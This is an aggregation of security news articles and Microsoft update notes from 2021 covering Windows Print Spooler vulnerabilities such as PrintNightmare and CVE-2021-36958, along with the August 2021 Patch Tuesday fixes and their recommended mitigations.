sounded the alarm on an [unpatched security vulnerability](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) in the Windows Print Spooler service, possibly yet another zero-day flaw in the same component has come to light, making it the fourth printer-related shortcoming to be discovered in recent weeks.\n\n\"Microsoft Windows allows for non-admin users to be able to install printer drivers via Point and Print,\" CERT Coordination Center's Will Dormann [said](<https://kb.cert.org/vuls/id/131152>) in an advisory published Sunday. \"Printers installed via this technique also install queue-specific files, which can be arbitrary libraries to be loaded by the privileged Windows Print Spooler process.\"\n\nAn exploit for the vulnerability was disclosed by security researcher and [Mimikatz creator](<https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/>) [Benjamin Delpy](<https://twitter.com/gentilkiwi/status/1416079316673339392>).\n\n>

SYSTEM privileges on a vulnerable Windows machine by connecting to a malicious print server under their control.\n\nWhile there is no solution to the problem, CERT/CC recommends configuring \"PackagePointAndPrintServerList\" to prevent the installation of printers from arbitrary servers and blocking outbound SMB traffic at the network boundary, given that public exploits for the vulnerability utilize SMB for connectivity to a malicious shared printer.\n\nThe new issue is only the latest evidence of the fallout after the [PrintNightmare](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>) flaw accidentally became public last month, leading to the discovery of a number of vulnerabilities affecting the Print Spooler service.\n\nGiven the lack of details surrounding [CVE-2021-34481](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) \u2014 the local privilege escalation (LPE) flaw reported by security researcher Jacob Baines \u2014 [it's not immediately clear](<https://twitter.com/wdormann/status/1416740343597486087>) what connection, if any, the vulnerability and this new Print Spooler signature-check bypass that also allows for LPE may have with one another.\n\nWhen reached for a response, a Microsoft spokesperson told The Hacker News that \"we are investigating reports and will take appropriate action as needed to help keep customers protected.\"\n\n \n\n\nFound this article interesting?

Victor Mata of FusionX, Accenture Security, who has been credited with reporting the flaw, [said](<https://twitter.com/offenseindepth/status/1425574625384206339>) the issue was disclosed to Microsoft in December 2020.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" the company said in its out-of-band bulletin, echoing the vulnerability details for [CVE-2021-34481](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>). \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges.

The CERT Coordination Center, in a [vulnerability note](<https://www.kb.cert.org/vuls/id/131152>), is also advising users to block outbound SMB traffic to prevent connecting to a malicious shared printer.\n\n \n\n\nFound this article interesting?

In other words, this vulnerability can only be exploited locally to gain elevated privileges on a device.\n\n[](<https://thehackernews.com/images/-KUjZieTgFsk/YPENj7mkDHI/AAAAAAAADNo/7YO-HAzw4LQN5_eg5egoI8gP2YeP34pjwCLcBGAsYHQ/s0/hacking.jpg>)\n\nAs workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability.\n\nThe development comes days after the Redmond-based firm rolled out patches to address a critical shortcoming in the same component that it disclosed as being actively exploited to stage in-the-wild attacks, making it the third printer-related flaw to come to light in recent weeks.\n\nDubbed PrintNightmare ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)), the vulnerability stems from a missing permission check in the Print Spooler that enables the installation of malicious print drivers to achieve remote code execution or local privilege escalation on vulnerable systems.\n\nHowever, it later emerged that the out-of-band security update could be entirely bypassed under specific conditions to gain both local privilege escalation and remote code execution. Microsoft has since said the fixes are \"working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare.\"\n\n \n\n\nFound this article interesting?

Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006739](<https://support.microsoft.com/help/5006739>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use.

When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006743](<https://support.microsoft.com/help/5006743>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5007236](<https://support.microsoft.com/help/5007236>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006743](<https://support.microsoft.com/help/5006743>). If after installing [KB5006743](<https://support.microsoft.com/help/5006743>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends.

Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nWhen using the Microsoft Japanese Input Method Editor (IME) to enter Kanji characters in an app that automatically allows the input of Furigana characters, you might not get the correct Furigana characters. You might need to enter the Furigana characters manually.**Note **The affected apps are using the **ImmGetCompositionString()** function.| This issue is resolved in KB5005101. \nDevices with Windows installations created from custom offline media or custom ISO image might have [Microsoft Edge Legacy](<https://support.microsoft.com/en-us/microsoft-edge/what-is-microsoft-edge-legacy-3e779e55-4c55-08e6-ecc8-2333768c0fb0>) removed by this update, but not automatically replaced by the new Microsoft Edge. This issue is only encountered when custom offline media or ISO images are created by slipstreaming this update into the image without having first installed the standalone servicing stack update (SSU) released March 29, 2021 or later.**Note **Devices that connect directly to Windows Update to receive updates are not affected. This includes devices using Windows Update for Business. Any device connecting to Windows Update should always receive the latest versions of the SSU and latest cumulative update (LCU) without any extra steps. | To avoid this issue, be sure to first slipstream the SSU released March 29, 2021 or later into the custom offline media or ISO image before slipstreaming the LCU. To do this with the combined SSU and LCU packages now used for Windows 10, version 20H2 and Windows 10, version 2004, you will need to extract the SSU from the combined package. Use the following steps to extract the SSU:\n\n 1. Extract the cab from the msu via this command line (using the package for KB5000842 as an example): **expand Windows10.0-KB5000842-x64.msu /f:Windows10.0-KB5000842-x64.cab &lt;destination path&gt;**\n 2. Extract the SSU from the previously extracted cab via this command line: **expand Windows10.0-KB5000842-x64.cab /f:* &lt;destination path&gt;**\n 3. You will then have the SSU cab, in this example named **SSU-19041.903-x64.cab**. Slipstream this file into your offline image first, then the LCU.\nIf you have already encountered this issue by installing the OS using affected custom media, you can mitigate it by directly installing the [new Microsoft Edge](<https://www.microsoft.com/edge>). If you need to broadly deploy the new Microsoft Edge for business, see [Download and deploy Microsoft Edge for business](<https://www.microsoft.com/edge/business/download>). \nAfter installing the June 21, 2021 (KB5003690) update, some devices cannot install new updates, such as the July 6, 2021 (KB5004945) or later updates. You will receive the error message, \"PSFX_E_MATCHING_BINARY_MISSING\".| For more information and a workaround, see KB5005322. \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device.

The advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released [the advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as [CVE-2021-34481](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34481>). Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said.\n\n## **Slightly Less of a \u2018PrintNightmare\u2019**\n\nThe vulnerability is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, [Baines told BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-shares-guidance-on-new-windows-print-spooler-vulnerability/>) that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in [an upcoming presentation](<https://defcon.org/html/defcon-29/dc-29-speakers.html#baines>) at DEF CON in August.\n\nThe entire saga surrounding Windows Print Spooler [began Tuesday, June 30](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC [offered its own mitigation](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday [released an emergency cumulative patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>) for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527.\n\nHowever, that fix also [was incomplete](<https://www.kb.cert.org/vuls/id/383432>), and Microsoft continues to work on further remediations as it also works to patch this latest bug, CVE-2021-34481. In the meantime, affected customers should install the most recent Microsoft updates as well as use the workaround to avoid exploitation, the company said.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T11:57:53", "type": "threatpost", "title": "Microsoft: Unpatched Bug in Windows Print Spooler", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-16T11:57:53", "id": "THREATPOST:A8242348917526090B7A1B23735D5C6C", "href": "https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:49:18", "description": "One day after dropping its scheduled August Patch Tuesday update, Microsoft issued a warning about yet another unpatched privilege escalation/remote code-execution (RCE) vulnerability in the Windows Print Spooler that can be filed under the [PrintNightmare umbrella](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>).\n\nThe news comes amid plenty of PrintNightmare exploitation. Researchers from CrowdStrike warned in a [Wednesday report](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) that the operators of the Magniber ransomware quickly weaponized CVE-2021-34527 to attack users in South Korea, with attacks dating back to at least July 13. And Cisco Talos [said Thursday](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) that the Vice Society gang was seen using CVE-2021-1675 and CVE-2021-34527 to spread laterally across a victim\u2019s network as part of a recent ransomware attack.\n\n\u201cIn technology, almost nothing ages gracefully,\u201d Chris Clements, vice president of solutions architecture and Cerberus security officer at Cerberus Sentinel, told Threatpost. \u201cThe Print Spooler in Windows is proving that rule. It\u2019s likely that the code has changed little in the past decades and likely still bears a striking resemblance to source code that was made public in previous Windows leaks. I\u2019ve heard it said that ransomware gangs might also be referred to as \u2018technical debt collectors,\u2019 which would be funnier if the people suffering most from these vulnerabilities weren\u2019t Microsoft\u2019s customers.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe fresh zero-day bug, tracked as CVE-2021-36958, carries a CVSS vulnerability-severity scale rating of 7.3, meaning that it\u2019s rated as \u201cimportant.\u201d Microsoft said that it allows for a local attack vector requiring user interaction, but that the attack complexity is low, with few privileges required.\n\n\u201cA remote code-execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d the computing giant explained in its [Wednesday advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>). \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\u201d\n\nThe CERT Coordination Center actually flagged the issue in mid-July, when it warned that a [working exploit](<https://twitter.com/gentilkiwi/status/1416429860566847490>) was available. That proof-of-concept (PoC), issued by Mimikatz creator Benjamin Delpy, comes complete with a video.\n\n> Hey guys, I reported the vulnerability in Dec'20 but haven't disclosed details at MSRC's request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nOn Thursday, CERT/CC issued more details on the issue, explaining that it arises from an oversight in signature requirements around the \u201cPoint and Print\u201d capability, which allows users without administrative privileges to install printer drivers that execute with SYSTEM privileges via the Print Spooler service.\n\nWhile Microsoft requires that printers installable via Point are either signed by a WHQL release signature or by a trusted certificate, Windows printer drivers can specify queue-specific files that are associated with the use of the device, which leaves a loophole for malicious actors.\n\n\u201cFor example, a shared printer can specify a CopyFiles directive for arbitrary files,\u201d according to the CERT/CC [advisory](<https://www.kb.cert.org/vuls/id/131152>). \u201cThese files, which may be copied over alongside the digital-signature-enforced printer driver files, are not covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. This can allow for local privilege escalation to SYSTEM on a vulnerable system.\u201d\n\nMicrosoft credited Victor Mata of FusionX at Accenture Security with originally reporting the issue, which Mata said occurred back in December 2020:\n\n> Hey guys, I reported the vulnerability in Dec\u201920 but haven\u2019t disclosed details at MSRC\u2019s request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nSo far, Microsoft hasn\u2019t seen any attacks in the wild using the bug, but it noted that exploitation is \u201cmore likely.\u201d With a working exploit in circulation, that seems a fair assessment.\n\n## **Print Spooler-Palooza and the PrintNightmare **\n\nDelpy characterized this latest zero-day as being part of the string of Print Spooler bugs collectively known as PrintNightmare.\n\nThe bad dream started in early July, when a PoC exploit for a bug tracked as CVE-2021-1675 was [dropped on GitHub](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>). The flaw was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the PoC showed that it\u2019s actually a critical Windows security vulnerability that can be used for RCE. That prompted Microsoft to issue a different CVE number \u2013 in this case, CVE-2021-34527 \u2013 to designate the RCE variant, and it prompted [an emergency partial patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), too.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nBoth bugs \u2013 which are really just variants of a single issue \u2013 are collectively known as PrintNightmare. The PrintNightmare umbrella expanded a bit later in July, when yet another, [similar bug was disclosed](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>), tracked as CVE-2021-34481. It remained unpatched until it was finally addressed with [an update](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) issued alongside the [August Patch Tuesday updates](<https://threatpost.com/exploited-windows-zero-day-patch/168539/>) (which itself detailed three additional Print Spooler vulnerabilities, one critical).\n\n## **How to Protect Systems from Print Spooler Attacks**\n\nAs mentioned, there\u2019s no patch yet for the bug, but users can protect themselves by simply stopping and disabling the Print Spooler service:\n\n\n\nSource: Microsoft.\n\nCERT/CC also said that since public exploits for Print Spooler attacks use the SMB file-sharing service for remote connectivity to a malicious shared printer, blocking outbound connections to SMB resources would thwart some attacks by blocking malicious SMB printers that are hosted outside of the network.\n\n\u201cHowever, Microsoft indicates that printers can be shared via the Web Point-and-Print Protocol, which may allow installation of arbitrary printer drivers without relying on SMB traffic,\u201d according to CERT/CC. \u201cAlso, an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\u201d\n\nIn its update advisory for CVE-2021-34481, Microsoft also detailed how to amend the default Point and Print functionality, which prevents non-administrator users from installing or updating printer drivers remotely and which could help mitigate the latest zero-day.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first.

We have also seen a similar reduction in critical vulnerabilities this month, with 30 percent less compared to the monthly average.\u201d\n\n## **Windows Critical Security Vulnerabilities**\n\nThe seven critical bugs [addressed in August](<https://msrc.microsoft.com/update-guide/>) are as follows:\n\n * CVE-2021-26424 \u2013 Windows TCP/IP RCE Vulnerability\n * CVE-2021-26432 \u2013 Windows Services for NFS ONCRPC XDR Driver RCE Vulnerability\n * CVE-2021-34480 \u2013 Scripting Engine Memory Corruption Vulnerability\n * CVE-2021-34530 \u2013 Windows Graphics Component RCE Vulnerability\n * CVE-2021-34534 \u2013 Windows MSHTML Platform RCE Vulnerability\n * CVE-2021-34535 \u2013 Remote Desktop Client RCE Vulnerability\n * CVE-2021-36936 \u2013 Windows Print Spooler RCE Vulnerability\n\nThe bug tracked as **CVE-2021-26424** exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\n\u201cDespite its CVSS rating of 9.9, this may prove to be a trivial bug, but it\u2019s still fascinating,\u201d said Dustin Childs of Trend Micro\u2019s Zero Day Initiative (ZDI) in his [Tuesday analysis](<https://www.zerodayinitiative.com/blog/2021/8/10/the-august-2021-security-update-review>). \u201cAn attacker on a guest Hyper-V OS could execute code on the host Hyper-V server by sending a specially crafted IPv6 ping. This keeps it out of the wormable category. Still, a successful attack would allow the guest OS to completely take over the Hyper-V host. While not wormable, it\u2019s still cool to see new bugs in new scenarios being found in protocols that have been around for years.\u201d\n\nThe next bug, **CVE-2021-26432** in Windows Services, is more likely to be exploited given its low complexity status, according to Microsoft\u2019s advisory; it doesn\u2019t require privileges or user interaction to exploit, but Microsoft offered no further details.\n\n\u201cThis may fall into the \u2018wormable\u2019 category, at least between servers with NFS installed, especially since the open network computing remote procedure call (ONCRPC) consists of an External Data Representation (XDR) runtime built on the Winsock Kernel (WSK) interface,\u201d Childs said. \u201cThat certainly sounds like elevated code on a listening network service. Don\u2019t ignore this patch.\u201d\n\nAleks Haugom, product marketing manager at Automox, added, \u201cExploitation results in total loss of confidentiality across all devices managed by the same security authority. Furthermore, attackers can utilize it for denial-of-service attacks or to maliciously modify files. So far, no further details have been divulged by Microsoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (**CVE-2021-34480**) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access. Simple, but effective.\u201d\n\nThe Windows Graphic Component bug (**CVE-2021-34530**) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (**CVE-2021-34534**). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as **CVE-2021-34535** impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally. These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug [as BlueKeep,](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d\n\n## **Windows Print Spooler Bugs \u2013 Again**\n\nThe final critical bug is **CVE-2021-36936**, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 [requiring a new patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>).\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, [an EoP issue](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>) ([CVE-2021-34481](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>)).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. \u201cThis bug is listed as publicly known, but it\u2019s not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own. There are quite a few print-spooler bugs to keep track of. Either way, attackers can use this to execute code on affected systems. Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this critical-rated bug.\u201d\n\nThe critical vulnerability is just one of three Print Spooler issues in the August Patch Tuesday release.\n\n\u201cThe specter of the PrintNightmare continues to haunt this patch Tuesday with three more print spooler vulnerabilities, CVE-2021-36947, CVE-2021-36936 and CVE-2021-34481,\u201d said Breen. \u201cAll three are listed as RCE over the network, requiring a low level of access, similar to PrintNightmare. Microsoft has marked these as \u2018Exploitation More Likely\u2019 which, if the previous speed of POC code being published is anything to go by, is certainly true.\u201d\n\n## **RCE Zero-Day in Windows Update Medic Service **\n\nThe actively exploited bug is tracked as **CVE-2021-36948** and is rated as important; it could pave the way for RCE via the Windows Update Medic Service in Windows 10 and Server 2019 and newer operating systems.\n\n\u201cUpdate Medic is a new service that allows users to repair Windows Update components from a damaged state such that the device can continue to receive updates,\u201d Automox\u2019 Jay Goodman explained. \u201cThe exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversary\u2019s toolbox.\u201d\n\nImmersive\u2019s Breen added, \u201cCVE-2021-36948 is a privilege-escalation vulnerability \u2013 the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts. In the case of ransomware attacks, they have also been used to ensure maximum damage.\u201d\n\nThough the bug is being reported as being exploited in the wild by Microsoft, activity appears to remain limited or targeted: \u201cWe have seen no evidence of it at Kenna Security at this time,\u201d Jerry Gamblin, director of security research at Kenna Security (now part of Cisco) told Threatpost.\n\n## **Publicly Known Windows LSA Spoofing Bug**\n\nThe second publicly known bug (after the Print Spooler issue covered earlier) is tracked as **CVE-2021-36942**, and it\u2019s an important-rated Windows LSA (Local Security Authority) spoofing vulnerability.\n\n\u201cIt fixes a flaw that could be used to steal NTLM hashes from a domain controller or other vulnerable host,\u201d Immersive\u2019s Breen said. \u201cThese types of attacks are well known for lateral movement and privilege escalation, as has been demonstrated recently by a [new exploit called PetitPotam](<https://threatpost.com/microsoft-petitpotam-poc/168163/>). It is a post-intrusion exploit \u2013 further down the attack chain \u2013 but still a useful tool for attackers.\u201d\n\nChilds offered a bit of context around the bug.\n\n\u201cMicrosoft released this patch to further protect against NTLM relay attacks by issuing this update to block the LSARPC interface,\u201d he said. \u201cThis will impact some systems, notably Windows Server 2008 SP2, that use the EFS API OpenEncryptedFileRawA function. You should apply this to your Domain Controllers first and follow the additional guidance in [ADV210003](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>) and [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). This has been an ongoing issue since 2009, and, likely, this isn\u2019t the last we\u2019ll hear of this persistent issue.\u201d\n\nMicrosoft\u2019s next Patch Tuesday will fall on September 14.\n\nWorried about where the next attack is coming from?

The software giant warned that attackers already are pouncing on one of the flaws, which ironically enough involves an easy-to-exploit bug in the software component responsible for patching **Windows 10** PCs and **Windows Server 2019** machines.\n\n\n\nMicrosoft said attackers have seized upon [CVE-2021-36948](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36948>), which is a weakness in the **Windows Update Medic** service. Update Medic is a new service that lets users repair Windows Update components from a damaged state so that the device can continue to receive updates.\n\nRedmond says while CVE-2021-36948 is being actively exploited, it is not aware of exploit code publicly available. The flaw is an &quot;elevation of privilege&quot; vulnerability that affects Windows 10 and **Windows Server 2019**, meaning it can be leveraged in combination with another vulnerability to let attackers run code of their choice as administrator on a vulnerable system.\n\n&quot;CVE-2021-36948 is a privilege escalation vulnerability - the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts,&quot; said **Kevin Breen** of [Immersive Labs](<https://www.immersivelabs.com>). &quot;In the case of ransomware attacks, they have also been used to ensure maximum damage.&quot;\n\nAccording to Microsoft, critical flaws are those that can be exploited remotely by malware or malcontents to take complete control over a vulnerable Windows computer -- and with little to no help from users. Top of the heap again this month: Microsoft also took another stab at fixing a broad class of weaknesses in its printing software.\n\nLast month, the company rushed out an emergency update to patch &quot;[PrintNightmare](<https://krebsonsecurity.com/2021/07/microsoft-issues-emergency-patch-for-windows-flaw/>)&quot; -- a critical hole in its Windows Print Spooler software that was being attacked in the wild. Since then, a number of researchers have discovered holes in that patch, allowing them to circumvent its protections.\n\nToday&#x27;s Patch Tuesday fixes another critical Print Spooler flaw ([CVE-2021-36936](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36936>)), but it&#x27;s not clear if this bug is a variant of 